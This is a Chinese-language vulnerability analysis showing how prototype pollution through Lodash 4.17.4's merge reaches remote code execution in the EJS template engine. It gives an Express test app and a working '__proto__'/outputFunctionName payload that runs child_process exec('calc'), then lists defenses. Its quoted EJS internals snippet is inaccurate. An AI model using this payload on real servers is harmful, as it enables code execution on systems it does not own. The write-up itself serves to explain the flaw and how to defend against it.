ejs原型污染rce分析
字数 870 2025-08-26 22:11:51
EJS 原型污染到 RCE 漏洞分析与利用
前言
本文详细分析 JavaScript 原型链污染漏洞如何通过 EJS 模板引擎实现远程代码执行(RCE),从漏洞原理到实际利用进行全面讲解。
漏洞原理概述
该漏洞利用链包含两个关键部分:
- 通过 Lodash 的
merge函数实现原型污染 - 通过污染 EJS 模板引擎的配置选项实现代码执行
环境搭建
// 安装必要依赖
npm install ejs
npm install lodash@4.17.4
npm install express
// test.js 示例代码
var express = require('express');
var _= require('lodash');
var ejs = require('ejs');
var app = express();
app.set('views', __dirname);
// 恶意payload
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));
app.get('/', function (req, res) {
res.render("./test.ejs", {
message: 'lufei test '
});
});
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
漏洞详细分析
1. Lodash 原型污染
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops); // undefined
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops); // "It works !"
Lodash 的 merge 函数在处理 __proto__ 属性时没有进行适当过滤,导致可以污染 Object 的原型。
2. EJS 原型污染到 RCE
EJS 模板引擎在渲染时会使用 Function 构造函数动态生成函数:
// EJS 内部实现关键代码
var ctor = opts.localsName + ' || {}';
var fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
通过污染 outputFunctionName 属性,我们可以注入恶意代码:
{
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"
}
}
3. 漏洞触发流程
- 通过 Lodash 的
merge污染Object.prototype.outputFunctionName - EJS 渲染时读取未定义的
outputFunctionName,从原型链获取被污染的值 - 被污染的
outputFunctionName被拼接到生成的函数代码中 - 使用
Function构造函数执行拼接后的代码,实现 RCE
其他可利用的污染点
除了 outputFunctionName,EJS 还有其他可被污染的配置选项:
1. opts.localsName
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
污染此属性可能导致语法错误,难以稳定利用。
2. opts.destructuredLocals
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
// ...
}
由于是数组类型,利用难度较大。
防御措施
- 升级 Lodash 到最新版本(4.17.21 及以上)
- 使用
Object.freeze(Object.prototype)冻结原型 - 避免使用
merge等不安全的对象合并函数 - 对模板引擎的配置选项进行严格校验